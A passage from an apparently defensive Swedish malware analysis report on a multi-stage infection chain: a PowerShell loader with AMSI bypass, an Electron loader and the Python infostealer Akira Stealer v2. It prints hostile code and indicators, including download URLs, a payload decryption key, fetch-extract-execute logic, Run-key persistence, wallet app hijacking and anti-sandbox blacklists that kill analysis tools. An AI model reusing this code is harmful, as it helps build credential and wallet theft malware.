I kombination med AMSI-bypassen och in-memory-dekrypteringen levererar denna mekanism den slutliga payloaden till exekvering på ett smygande, helt filelöst sätt, ett kännetecken för modern, undvikande malware.
4.5 Kommandoradsparametrar och flexibilitet
PowerShell-funktionen Invoke-SharpLoader är utformad för att fungera som en flexibel wrapper för godtyckliga .NET-payloads. Den stöder dynamisk inmatning av både payload-plats och argument, vilket gör att en enda loader-instans kan återanvändas över flera operationer eller kampanjer.
Stödda parametrar:
-location(obligatorisk): Anger antingen en URL eller en lokal filsökväg till den krypterade stage two-payloaden.-password(obligatorisk): Används för att härleda AES-dekrypteringsnyckeln.-argument,-argument2,-argument3(valfria): Dessa vidarebefordras direkt till.NET-assemblynsMain()-metod via reflection.-noArgs: Utlöser exekvering utan att skicka några parametrar till andra stegets payload.
Internt samlas argumenten in och vidarebefordras så här:
object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });
Detta innebär att .NET-payloaden förväntas ha en signatur som:
static void Main(string[] args)
eller så faller den elegant tillbaka till den parameterlösa Main()-varianten via fallback-logik. Detta beteende låter red teams eller malwareutvecklare skapa mångsidiga andra steg som kan utföra olika operationer beroende på indata, till exempel att starta en implant, samla in systeminformation eller initiera C2-kommunikation.
Sådan modularitet och konfigurerbarhet är centrala egenskaper hos avancerade malware-ramverk, och de illustrerar hur skriptbaserade loaders kan bete sig som mycket anpassningsbara exekveringsmiljöer för efterföljande payloads.
4.6 Exempel på användning i verkligheten
För att illustrera SharpLoaders exekvering i en verklig kampanj, betrakta följande anrop som observerats i det vilda:
Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs
Detta exempel belyser det typiska användningsfallet för SharpLoader:
- Location-argument: URL:en pekar på en fjärrserver som hostar
calc.enc, en dold andra stegets payload. Endpointen ligger under en legitimt utseende.well-known-katalog, som ofta används för HTTPS-certifikatvalidering, vilket hjälper URL:en att smälta in i legitim webbtrafik. - Payload-egenskaper:
calc.encär en trippelobfuskerad fil, Base64-kodad, GZip-komprimerad och AES-krypterad. Denna obfuskeringspipeline säkerställer att payloaden är ogenomskinlig för de flesta detektionsmekanismer om den inte fullständigt körs och dekrypteras i minnet. - Password-argument: Strängen
UwUFufu1används vid runtime för att härleda AES-nyckeln via SHA-256 och PBKDF2. Utan detta lösenord kan payloaden inte dekrypteras, vilket gör offline-analys utan kontext nästan omöjlig. - Inga ytterligare argument: Flaggan
-noArgsanger att inga kommandoradsparametrar skickas till den dekrypterade .NET-assemblyn, vilket utlöser dess standardexekveringsväg.
Denna smygande anropskedja fångar SharpLoaders kärnsyfte: filelös, anpassningsbar och säker payload-leverans genom enkel PowerShell-syntax med maximal obfuskering och undvikande.
4.7 Sammanfattning
Konstruktionen Invoke-SharpLoader exemplifierar en mycket förfinad och undvikande teknik för malware-staging som utnyttjar inbyggda systemkomponenter, reflection och kryptografi för att operera nästan helt i minnet.
Centrala höjdpunkter:
- Kringgår AMSI: Direkt in-memory-patchning av
AmsiScanBufferinaktiverar antivirus-inspektion utan att anropa detekterbara API:er. - Säker payload-hantering: Hämtning av krypterade och komprimerade stage-two-payloads säkerställer konfidentialitet och lägger till flera lager av undvikande.
- Exekvering enbart i minnet: Dekrypterade payloads skrivs aldrig till disk, vilket gör detektion med traditionella filbaserade skannrar nästan omöjlig.
- Modulär och återanvändbar arkitektur: Genom PowerShell-parametrar kan SharpLoader flexibelt återanvändas över kampanjer med varierande payloads och runtime-beteenden.
5. Deep Dive: main.exe – Electron-baserad malware loader
Under reverse engineering blev det tydligt att main.exe, som flaggats av Microsoft Defender for Endpoint, inte var en konventionell binär utan en Electron-baserad malware loader. Den levererades inuti ett arkiv vid namn app-64.7z, som Updater.exe laddade ner och extraherade vid runtime. När den väl packats upp liknade strukturen och innehållet starkt en typisk Electron-applikation.
5.1 Att känna igen Electron-strukturen
Den extraherade mappen inkluderade filer som:
chrome_100_percent.pak,v8_context_snapshot.bin,d3dcompiler_47.dllLICENSES.chromiumochLICENSES.electron- En stor
main.exe-binär (~150 MB) - En
resources-mapp medapp.asaroch en sekundär binärelevate.exe

Detta är alla starka indikatorer på en Electron-app, som använder Chromium och Node.js för att paketera JavaScript-baserade skrivbordsapplikationer. Närvaron av elevate.exe, en signerad Microsoft-binär som ofta används för att eskalera privilegier, väckte ytterligare misstankar: den kan missbrukas för att starta barnprocesser med förhöjda rättigheter.
5.2 Uppackning och statisk analys (Deep Dive)
I stället för att köra main.exe valde jag en statisk analysansats för att undvika att utlösa något live-beteende. Min inledande misstanke om att main.exe var byggd med Electron bekräftades genom att jag lokaliserade app.asar-filen inuti resources-katalogen. I Electron-appar innehåller detta arkiv all central applikationslogik, som JavaScript-filer, konfiguration (package.json) och tillgångar, packat i ett anpassat format för prestanda- och obfuskeringssyften.
.asar-arkivet är i grunden en skrivskyddad, högpresterande container som liknar .zip, men optimerad för Electrons runtime. Även om det inte är krypterat obfuskerar det kodåtkomsten, vilket gör statisk analys svårare om det inte packas upp.
För att packa upp det använde jag det officiella asar-verktyget som tillhandahålls via npm. Stegen var:
npm install -g asar
asar extract app.asar extracted_app
Att köra ovanstående kommandon extraherade innehållet till en arbetsmapp (extracted_app/), vilket avslöjade den faktiska JavaScript-applikationskoden. Detta inkluderade:
jscryter.js,input.js,obf.js: Dessa skript utgör malware-logiken.jscryter.jsverkar orkestrera payload-leveransen,input.jsdefinierar konfigurationskonstanter eller kommandologik, ochobf.jsär ett kraftigt obfuskerat skript som troligen innehåller kärn-payloadens logik.package.json,package-lock.json: Definierar runtime-miljönnode_modules/: Innehåller alla beroenden somaxios,adm-zip,child_process
Det uppackade innehållet gav fullständig insyn i malwarens logik utan att kräva exekvering, vilket var väsentligt för säker reverse engineering. Detta steg bekräftade att main.exe enbart fungerade som en runtime-wrapper för de skadliga skripten som gömdes inuti app.asar.
5.3. Vad den statiska analysen avslöjade
Genom att manuellt inspektera koden bekräftade jag att malware-logiken var helt JavaScript-baserad och kördes inom Electron-runtimen. Skripten var utformade för att:
- Ladda ner en krypterad payload (
pyth.zip) från fallback-URL:er - Extrahera arkivet med
adm-zip - Utföra strängersättning för att injicera specifika credentials eller plånboksadresser
- Starta den resulterande Python-filen (
astor.py) viachild_process.exec()ochpython.exe
Avgörande nog inkluderade loadern också logik för att kopiera Updater.exe till användarens AppData-katalog om den inte redan fanns, vilket förstärkte persistensen och upprätthöll infektionsloopen.
6. Deep Dive: input.js – den krypterade JavaScript-payload-loadern
input.js är en central komponent i den analyserade skadekedjan och fungerar som nav för dekryptering och exekvering av en krypterad JavaScript-payload. Skriptet gömmer sin kärnfunktionalitet bakom ett starkt krypteringslager och avslöjar sitt beteende först under körning.
6.1 Krypterings- och dekrypteringsmekanik
Vid första anblicken innehåller input.js väldigt lite läsbar kod. Dess primära syfte är dock att dekryptera och exekvera en stor obfuskerad JavaScript-blob som ligger lagrad inuti själva skriptet.
6.1.1 Dekrypteringslogik
Skriptet definierar en decrypt()-funktion som tar fyra parametrar:
encdata: Den krypterade Base64-kodade datanmasterkey: En passphrase i klartextsalt: Ett kryptografiskt salt (Base64)iv: Initieringsvektorn för AES-dekryptering (Base64)
Dekrypteringsprocessen är implementerad med Node.js inbyggda crypto-modul. Den går till på följande sätt:
- Key Derivation:
Skriptet härleder en 256-bitars symmetrisk nyckel med PBKDF2 (Password-Based Key Derivation Function 2):
const key = crypto.pbkdf2Sync( masterkey, Buffer.from(salt, "base64"), 100000, 32, "sha512", );- Hash function: SHA-512
- Iterations: 100,000
- Key length: 32 bytes (256 bits)
- Salt: Levereras som en Base64-avkodad indata
- AES-256-CBC Decryption:
Den härledda nyckeln används sedan för att skapa ett AES-decipher-objekt:
const decipher = crypto.createDecipheriv( "aes-256-cbc", key, Buffer.from(iv, "base64"), );
Den krypterade payloaden dekrypteras med standardläget CBC (Cipher Block Chaining):let decrypted = decipher.update(encdata, "base64", "utf8"); decrypted += decipher.final("utf8"); - Dynamic Execution:
Den dekrypterade JavaScript-koden skrivs aldrig till disk. Istället exekveras den dynamiskt i minnet via
Function-konstruktorn:new Function("require", decrypted)(require);
Den här tekniken möjliggör fillös exekvering och minskar risken för upptäckt av traditionella antivirusmotorer som förlitar sig på diskbaserad skanning.
Detta tillvägagångssätt visar ett lager-för-lager-försvar mot reverse engineering genom att kombinera key derivation, stark kryptering och dynamisk exekvering i minnet.
Key Material and Encrypted Data
Skriptet innehåller följande hårdkodade indata:
- Encrypted Data: En massiv Base64-kodad blob
- Master Key:
9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs - Salt:
maXtklzMEZRY9dbul/XPSw==(Base64-kodad) - IV:
HwK6sOz7FBbL+YsrOxtYUg==(Base64-kodad)
Alla dessa är inbäddade direkt i källkoden till input.js.
6.2 Payload-beteende efter dekryptering
När den väl har dekrypterats blir den inbäddade payloaden ett fullständigt JavaScript-program som utför följande skadliga handlingar:
6.2.1 Förberedelse av miljön
Den dekrypterade payloaden börjar med att sätta upp sin exekveringsmiljö med hjälp av inbyggda Node.js-moduler. Denna uppsättningsfas säkerställer att alla nödvändiga sökvägar och arbetskataloger är tydligt definierade innan något skadligt beteende inträffar.
- Temporary Directory Resolution:
Skadeprogrammet anropar
os.tmpdir()för att bestämma sökvägen till systemets aktuella temporära katalog. Detta är en vanlig taktik för skadeprogram eftersom temporära mappar oftast är skrivbara och granskas mindre noga av endpoint protection-system.const tempDir = os.tmpdir(); - Path Construction:
Skriptet konstruerar sedan absoluta sökvägar för två viktiga filer:
pyth.zip: Arkivet som innehåller själva second-stage-stealern i Pythonbnd.exe: En valfri körbar fil som kan fungera som persistence-backdoor eller ytterligare payload
const tempFile = path.join(tempDir, "pyth.zip"); const binderFile = path.join(tempDir, "bnd.exe");
Denna uppsättning av sökvägar abstraherar bort OS-specifik sökvägssyntax och gör att skadeprogrammet kan köra utan problem på vilket Windows-system som helst. Den lägger också grunden för de mekanismer för nedladdning och uppackning av filer som följer.
6.2.2 Nedladdning av payload med fallback-strategi
Den andra stora fasen i den dekrypterade JavaScript-payloaden handlar om att ladda ner ett skadligt ZIP-arkiv från fjärrkällor. Denna mekanism är utformad med en flernivåstrategi för fallback som ökar motståndskraften och tillgängligheten.
- Primary Link Resolution via Rentry.co
Skriptet börjar med att slå upp en dynamisk URL från en text paste-tjänst. Det skickar en GET-förfrågan till:
const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
Detta returnerar en URL-sträng i klartext som pekar på den faktiska platsen förpyth.zip-arkivet. Att använda en omdirigeringsmekanism som denna är en vanlig obfuskeringsteknik. Den abstraherar bort den verkliga skadliga URL:en och gör statisk upptäckt svårare. - Download Execution
Den upplösta URL:en efterfrågas sedan med Axios-biblioteket och en response stream:
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
Filen skrivs till disk sompyth.zipi systemets temp-katalog:const writer = fs.createWriteStream(tempFile); fileResponse.data.pipe(writer);
Denna nedladdning omsluts av enPromiseför att säkerställa synkron slutförande innan vidare logik körs. - Fallback URLs
Om den Rentry-baserade länken misslyckas försöker skriptet med hårdkodade reservplatser:
https://cosmicdust.zip/.well-known/pki-validation/pyth.zip https://cosmoplanets.net/well-known/pki-validation/pyth.zip
Dessa domäner är strukturerade för att se ut som delar av vanliga TLS-valideringsmappar, möjligen för att härma Let's Encrypt eller domänvalideringssökvägar och därmed väcka mindre misstanke. Varje fallback görs om med samma streaming- och filskrivningslogik. - Robustness and Obfuscation
Denna fallback-mekanism säkerställer att skadeprogrammet har flera hämtningsvägar för sin second-stage-payload. Användningen av en dynamisk pekare (
rentry.co) och flera failover-speglar gör skadeprogrammet mer motståndskraftigt mot takedowns, blockering och DNS-sinkholes.
Denna fas visar noggrann operativ planering från skadeprogrammets upphovsmän, med lagerdelad redundans och väl kamouflerad leveransinfrastruktur.
- Laddar ner
pyth.zipfrån den upplösta URL:en - Om det misslyckas försöker det med reservspeglar:
https://cosmicdust.zip/.well-known/pki-validation/pyth.ziphttps://cosmoplanets.net/well-known/pki-validation/pyth.zip
6.2.3 Extraktion och manipulation av payload
När pyth.zip-arkivet väl har laddats ner och sparats till disk fortsätter skadeprogrammet med att extrahera dess innehåll och förbereda det för exekvering. Detta sker med Node.js-biblioteket adm-zip, som möjliggör programmatisk hantering av ZIP-filer.
- ZIP Extraction:
const zip = new AdmZip(tempFile); zip.extractAllTo(tempDir, true);
Detta extraherar allt innehåll i arkivet till systemets temporära katalog. Flaggantruesäkerställer att befintliga filer skrivs över. - Archive Contents:
Arkivet
pyth.zipinnehåller ett fullständigt paketerat Python-projekt, inklusive:- En katalogstruktur som liknar ett legitimt Python-paket
- Flera Python-moduler och beroenden
- Nyckelfilen
astor.pysom ligger iCrypto/Util/astor.py, vilket är den huvudsakliga stealer-payloaden
- Placeholder Replacement:
Skadeprogrammet utför dynamisk substitution av fördefinierade platshållare i
astor.pyför att injicera angriparkontrollerad konfigurationsdata såsom:- En Discord webhook-URL
- Kryptovaluta-plånboksadresser (BTC, ETH, DOGE, LTC, XMR, med flera)
- En användaridentifierare (
%USERID%) - En felstatusflagga (
%ERRORSTATUS%)
fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => { let updatedFile = data .replace("%DISCORD%", <webhook>) .replace("%ADDRESSBTC%", <btc_address>) ... .replace("%ERRORSTATUS%", displayError ? "true" : "false"); fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8'); });
Denna dynamiska manipulationsfas är avgörande. Genom att skjuta upp inmatningen av angriparkontrollerade värden till körningstillfället undviker payloaden statisk upptäckt och operatören kan anpassa mål och exfiltrerings-endpoints utan att packa om arkivet.
- Ersätter platshållarsträngar i
astor.py:- Discord webhook:
%DISCORD% - Plånboksadresser:
%ADDRESSBTC%,%ADDRESSETH%, osv. - Användar-ID och felflaggor
- Discord webhook:
6.2.4 Exekvering av skadlig kod
- När platshållarinjektionen i astor.py är klar startar skadeprogrammet exekveringen av stealern via ett systemanrop
exec("python.exe Crypto\\Util\\astor.py");
Detta kommando körs med Node.js child_process.exec-funktion och startar den inbäddade Python-payloaden i en separat process. Just detta exekveringsmönster, python.exe med argumentet Crypto\Util\astor.py, observerades i telemetridata som samlats in av Microsoft Defender for Endpoint, vilket gör det till en tillförlitlig detekteringsartefakt. I praktiken ser exekveringskedjan ut så här:
Den fullständiga exekveringskedjan för skadeprogrammet, som den observerats i telemetri från Microsoft Defender for Endpoint, följer denna sekvens:
main.exe(Electron-baserad container) anroparnode.exenode.exestartarcmd.execmd.exestartarpython.exepython.exeexekverar filenCrypto\Util\astor.py
6.2.5 Förstärkning av persistence
För att säkerställa långvarig närvaro på det infekterade systemet innehåller den dekrypterade JavaScript-payloaden logik för att återupprätta persistence genom att kopiera den ursprungliga binären (Updater.exe) till en dold plats i användarens profil.
Target Directory
Filen kopieras till en katalog som härmar legitima Windows-komponenter:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Denna plats är medvetet vald:
- %APPDATA% är skrivbar för vanliga användare och kräver inga administrativa rättigheter.
- Katalognamnet härmar legitima Microsoft-applikationsmappar, vilket gör det mindre misstänkt.
Copy Mechanism:
Kopieringsoperationen använder Node.js fs.copyFileSync()-funktion:
fs.copyFileSync(
process.env.PORTABLE_EXECUTABLE_FILE,
path.join(
process.env.APPDATA,
"Microsoft",
"Internet Explorer",
"UserData",
"Updater.exe",
),
);
- PORTABLE_EXECUTABLE_FILE är en miljövariabel som många packers (till exempel Electron) automatiskt sätter för att referera till sökvägen till den körande binären.
- path.join(...) bygger en fullständigt kvalificerad destinationssökväg över olika operativsystem.
Denna logik körs endast om filen inte redan finns och fungerar därmed som en självreparationsmekanism som återställer droppern om den raderas.
Role in the Malware Chain Närvaron av denna kopierade Updater.exe säkerställer att:
- Loadern kan trigga sig själv på nytt över omstarter av systemet.
- Hela infektionskedjan (som leder till main.exe, node.exe och till slut astor.py) kan starta om utan att förlita sig på traditionella registerbaserade persistence-mekanismer, som är mer sannolika att övervakas.
6.2.6 Valfri binder-exekvering
Utöver att ladda ner och exekvera den huvudsakliga stealer-payloaden (astor.py) innehåller den dekrypterade JavaScript-koden även logik för att valfritt ladda ner och starta en sekundär körbar fil som kallas "binder". Denna komponent kan användas för persistence, distraktion eller utplacering av ytterligare skadeprogramsmoduler.
Conditional Execution
Binder-logiken aktiveras endast om en specifik flagga är satt:
enableBinder = true;
I det analyserade samplet var detta värde satt till false som standard, men logiken finns kvar inbäddad i payloaden och kan trivialt aktiveras i en annan kampanj eller variant.
Binder Download Logic
Om den aktiveras försöker skriptet hämta en extern binär från en URL som definieras av platshållaren %BINDERURL%:
const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
- Filen
bnd.exesparas i systemets temporära katalog. - Precis som
pyth.zipladdas binären ner med Axios på ett strömmat sätt för att undvika att hela binären laddas in i minnet.
Execution Strategy
Efter lyckad nedladdning anropar skriptet den nedladdade binären via cmd.exe, vilket säkerställer att den körs i en ny shell-kontext:
exec(`start cmd /c start ${binderFile}`, ...);
För att öka tillförlitligheten innehåller skriptet retry-logik:
setTimeout(() => {
exec(...);
}, 5000);
Detta säkerställer att skadeprogrammet försöker starta binären på nytt efter en kort fördröjning, även om den första exekveringen misslyckas (till exempel på grund av systembelastning eller race conditions).
Use Cases for the Binder
Även om det exakta syftet med binder-binären inte avslöjas i just detta sample (på grund av platshållar-URL:en) används sådana komponenter vanligen för att:
- Installera om eller starta om de primära skadeprogramskomponenterna
- Visa falska installationsprogram eller lockbetesapplikationer
- Utplacera ytterligare spionprogram, backdoors eller ransomware
- Ändra systeminställningar eller inaktivera säkerhetsfunktioner
6.3 Sammanfattning
input.js är en starkt obfuskerad, krypterad JavaScript-loader som använder branschstandardkryptografi (PBKDF2 + AES-256-CBC) för att skydda sitt verkliga syfte. Efter dekryptering fungerar den som en fullt kapabel second-stage-loader som:
- Hämtar ytterligare skadeprogram (
pyth.zip) - Modifierar payloadens beteende dynamiskt
- Startar det faktiska stealer-skriptet (
astor.py) - Förstärker persistence genom att återställa
Updater.exe
Kombinationen av kryptering, dynamisk exekvering, modulär payload-hämtning och fillös drift visar upp en högt avancerad JavaScript-baserad skadeprogramsarkitektur som utnyttjar Node.js-funktioner i ett Electron-skal.
7. DeepDive: Akira Stealer v2 (astor.py)
7.1. Övergripande funktionalitet
Akira Stealer v2 (astor.py) är en multifunktionell, modulär infostealer-skadekod skriven i Python. Den är byggd för att exfiltrera ett brett spektrum av känsliga användardata från både Chromium- och Firefox-baserade webbläsare, crypto wallets, kommunikationsklienter (t.ex. Discord, Telegram) och systemfiler. Den innehåller sofistikerade anti-analysmekanismer, registerbaserad persistence, clipboard hijacking och tekniker för memory injection.
7.2 Persistence och distribution
7.2.1 Kontext för exekveringskedjan
astor.py körs inte fristående utan är den sista payloaden i en flerstegsattackkedja:
Updater.exe
└── main.exe (Electron app)
└── cmd.exe
└── python.exe astor.py
Den här strukturerade exekveringskedjan gör att varje steg kan undgå upptäckt genom att delegera den skadliga funktionaliteten till nästa. Updater.exe inleder sekvensen och ansvarar för att upprätthålla persistence.
7.2.2 Registerbaserad persistence
Akira etablerar persistence genom att skriva en registernyckel under den aktuella användarens Run-sökväg. Detta säkerställer att Updater.exe körs vid varje systemstart:
command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
- Path:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Value name:
Realtek Audio(vald för att verka harmlös) - Payload path: Vanligtvis i
AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe
Detta kommando skriver autorun-posten tyst via PowerShell eller nativ os.system()-exekvering.
7.2.3 Döljande av fil
För att ytterligare dölja binären från användare och enkla AV-skanningar markeras filen med attributen hidden och system:
subprocess.run(["attrib", "+h", "+s", destination_path])
+h: Markerar filen som dold+s: Markerar filen som en skyddad systemfil
Detta tar effektivt bort filen från vanliga vyer i Windows Explorer och ökar stealth.
7.2.4 Reinfektionstekniker
Skadekoden stöder självreplikering och reinfektion genom Electron application hijacking. Konkret ersätter den arkivet app.asar i Electron-baserade desktop-wallets (t.ex. Exodus, Atomic Wallet) för att köra skadlig JavaScript under legitim appstart.
Logiken letar efter kända sökvägar till wallet-appar:
path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"
Om målfilen finns skrivs den över med ett beväpnat arkiv. Detta säkerställer persistence även efter manuell borttagning av Updater.exe.
7.3 Anti-analys / undvikande (klass: VmProtect)
7.3.1 Introduktion
I moderna skadekodskampanjer är det avgörande att undgå analys i virtualiserade och sandboxade miljöer för att bibehålla stealth. Akira Stealer v2 implementerar en heltäckande modul för VM/sandbox-detektering (VmProtect) som aggressivt identifierar och avbryter exekvering i miljöer som kontrolleras av analytiker. Den här rapporten dissekerar varje detekteringsteknik, tillhandahåller de exakta kodutdragen inklusive kompletta blacklist-definitioner och beskriver den analysmetodik som använts.
7.3.2 Översikt
Klassen VmProtect implementerar robust VM- och sandbox-detektering för att avbryta exekvering i förtid i analysmiljöer. Den stöder två detekteringsnivåer:
- Level 1: Lätta, snabba kontroller
- Level 2: Fördjupade, heltäckande sonderingar
Om VmProtect.isVM(level) returnerar True anropar skadekoden sys.exit(), vilket förhindrar vidare analys.
7.3.3 Detekteringsnivåer
| Feature | Level 1 | Level 2 |
|---|---|---|
| HTTPSimulation | ✔️ | ✔️ |
| Computer-name blacklist | ✔️ | ✔️ |
| User-account blacklist | ✔️ | ✔️ |
| Hardware-UUID blacklist | ❌ | ✔️ |
| Public-hosting API check | ❌ | ✔️ |
| Registry & GPU hints | ❌ | ✔️ |
| Task-killing background | ✔️ | ✔️ |
7.3.4 VmProtect-arkitektur
Klassen VmProtect exponerar följande primära metoder:
checkUUID()checkComputerName()checkUsers()checkHosting()checkHTTPSimulation()checkRegistry()killTasks()isVM(level)
Varje metod returnerar en boolean eller utför undvikandesteg. Wrappern isVM aggregerar dessa kontroller utifrån den angivna nivån.
| Method | Triggered By | Description |
|---|---|---|
checkUUID() |
isVM(2) |
WMI UUID blacklist |
checkComputerName() |
isVM(1,2) |
Environment hostname match |
checkUsers() |
isVM(1,2) |
Username blacklist |
checkHosting() |
isVM(2) |
IP hosting provider check via ip-api.com |
checkHTTPSimulation() |
isVM(1,2) |
HTTPS interception detection |
checkRegistry() |
isVM(2) |
Registry & GPU driver artifacts |
killTasks() |
isVM(...) spawn |
Terminates known analysis processes |
isVM(level) |
init | Aggregates checks and calls killTasks() thread |
@staticmethod
def isVM(level: int) -> bool:
# Always start background task-killer
Thread(target=VmProtect.killTasks, daemon=True).start()
if level == 1:
# Fast path: HTTPS, hostname & user
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
)
if level == 2:
# Deep scan: includes UUID, hosting, registry & GPU
try:
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkUUID()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
or VmProtect.checkHosting()
or VmProtect.checkRegistry()
)
except:
return False
return False
7.3.5 UUID-kontroll – Identifiering av virtuella maskiner via hardware-UUID
En vanlig taktik i undvikande av skadekod är att fingeravtrycka den underliggande hårdvarumiljön. En av de tidigaste identifierarna som kan signalera en virtuell maskin är systemets UUID (Universally Unique Identifier). Virtualiseringsplattformar som VMware och VirtualBox genererar ofta förutsägbara eller återanvända UUID:n, som skadekod kan använda för att avgöra om den körs i en virtualiserad eller sandboxad miljö.
@staticmethod
def checkUUID() -> bool:
try:
raw = subprocess.run(
"wmic csproduct get uuid", shell=True,
capture_output=True
).stdout.splitlines()[2].decode().strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
Den här kontrollen utnyttjar verktyget Windows Management Instrumentation Command-line (WMIC) för att hämta värdmaskinens UUID. Det returnerade värdet stäms sedan av mot en kurerad lista över UUID:n som ofta förknippas med mallar för virtuella maskiner eller kända analysuppsättningar.
7.3.6 Datornamnskontroll – Detektering av sandbox- och analysmiljöer via hostname
Systemets hostname, som nås via miljövariabeln %COMPUTERNAME%, avslöjar ofta ledtrådar om dess miljö. Analytiker använder ofta standardmässiga eller snabbt genererade hostnamn som "DESKTOP-XXXXXXX", "WIN10ANALYSIS" eller till och med namn kopplade till deras interna miljöer. Skadekod drar nytta av detta genom att jämföra systemets hostname mot en blacklist.
@staticmethod
def checkComputerName() -> bool:
name = os.getenv("computername", "").lower()
return name in VmProtect.BLACKLISTED_COMPUTERNAMES
BLACKLISTED_COMPUTERNAMES = (
'00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
'desktop-vkeons4','ntt-eff-2w11wss',
# ... dozens more entries ...
)
Om en matchning hittas kan skadekoden välja att avbryta exekvering eller distribuera en falsk payload och därmed undvika en fullständig beteendeanalys.
7.3.7 Kontroll av användarkonto – Profilering av analytiker- eller standardkonton
En annan heuristik innebär att man utvärderar användarnamnet som skadekoden körs under. Många mallar för virtuella maskiner och sandboxar återanvänder vanliga användarnamn som "Abby", "Test" eller "wdagutilityaccount". Dessa namn har låg entropi och är ofta hårdkodade i sandbox-miljöer med öppen källkod.
@staticmethod
def checkUsers() -> bool:
user = os.getlogin().lower()
return user in VmProtect.BLACKLISTED_USERS
BLACKLISTED_USERS = (
'wdagutilityaccount','abby','peter wilson','hmarc',
'a.monaldo','tvm',
# ... 30+ more entries ...
)
Den här kontrollen förbättrar detekteringen genom att fokusera på användarkontexten, som kan förbli oförändrad även över omstarter eller snapshots av virtuella maskiner.
7.3.8 Hosting-kontroll – Detektering av publik molninfrastruktur
Vissa skadekoder använder externa IP-intelligenstjänster för att verifiera om det infekterade systemet befinner sig i ett känt datacenter eller en känd molnleverantörsmiljö. I det här fallet görs en enkel HTTP-förfrågan till ip-api.com, som frågar om IP-adressen är flaggad som "hosting".
@staticmethod
def checkHosting() -> bool:
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET',
'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
Detta gör att skadekoden kan avgöra om den körs på infrastruktur som ägs av Microsoft Azure, AWS, DigitalOcean etc., en varningssignal för sandboxing.
7.3.9 HTTPS-simuleringskontroll – Sondering efter SSL-interception
För att identifiera miljöer med SSL-inspektion (vanligt i företags- eller forskningsnätverk) skickar skadekoden en harmlös HTTPS-förfrågan till en slumpmässig subdomän under .in. Om anslutningen misslyckas på grund av DNS-filtrering, interception-proxyer eller misslyckad certificate pinning kan det signalera att skadekoden analyseras.
@staticmethod
def checkHTTPSimulation() -> bool:
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
except:
return False
return True
Den här subtila metoden testar integriteten hos nätverksvägen utan att utlösa larm eller kräva dedikerad infrastruktur.
7.3.10 Register- och GPU-drivrutinskontroll – Detektering av virtuella GPU-signaturer
Vissa virtuella miljöer avslöjas av registernycklar eller GPU-drivrutinsdeskriptorer. Akira använder en dubbel strategi: den frågar registerposter kopplade till grafiksubsystemet och undersöker separat utdata från wmic efter misstänkta GPU-strängar.
@staticmethod
def checkRegistry() -> bool:
r1 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\DriverDesc 2",
capture_output=True, shell=True)
r2 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\ProviderName 2",
capture_output=True, shell=True)
# GPU name check
gpu_out = subprocess.run(
"wmic path win32_VideoController get name",
capture_output=True, shell=True).stdout.decode().splitlines()
gpucheck = any(x in gpu_out[2].lower()
for x in ("virtualbox", "vmware"))
return (r1.returncode != 1 and r2.returncode != 1) or gpucheck
Dessa kontroller på hårdvarunivå är särskilt effektiva mot analytikeruppsättningar som kanske inte helt maskerar virtualiserade skärmadaptrar.
7.3.11 Task-killing – Undertryckande av analysverktyg i realtid
Istället för att bara passivt undgå upptäckt går Akira ett steg längre genom att aktivt avsluta kända analys- eller debugverktyg. Den startar en bakgrundstråd som itererar över en lista med processer och dödar varje matchning den hittar.
@staticmethod
def killTasks() -> None:
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
BLACKLISTED_TASKS = (
'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
# ... dozens more ...
'glasswire','requestly'
)
Dessa verktyg, som ofta används av incident responders och skadekodsanalytiker, neutraliseras innan de hinner samla in meningsfulla beteendeartefakter.
Sammanfattning
Akira använder en sofistikerad uppsättning anti-analystekniker som riktar sig mot flera systemlager, från miljövariabler och registernycklar till nätverkssonderingar och tasklistor. Dessa mekanismer är utformade för att detektera och undvika både automatiserade sandboxar och manuella inspektionsuppsättningar.
Kombinationen av passivt fingeravtryckande och aktivt undertryckande (t.ex. task killing) visar hur även skadekodsfamiljer i mellansegmentet numera integrerar undvikandelogik i flera lager.
7.3.12 Kompletta blacklists och detekteringsfunktioner
Blacklisted Hardware UUIDs
BLACKLISTED_UUIDS = (
'7AB5C494-39F5-4941-9163-47F54D6D5016',
'032E02B4-0499-05C3-0806-3C0700080009',
'03DE0294-0480-05DE-1A06-350700080009',
'11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058',
'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
'4C4C4544-0050-3710-8058-CAC04F59344A',
'00000000-0000-0000-0000-AC1F6BD04972',
'00000000-0000-0000-0000-000000000000',
'5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439',
'49434D53-0200-9036-2500-36902500F022',
'777D84B3-88D1-451C-93E4-D235177420A7',
'49434D53-0200-9036-2500-369025000C65',
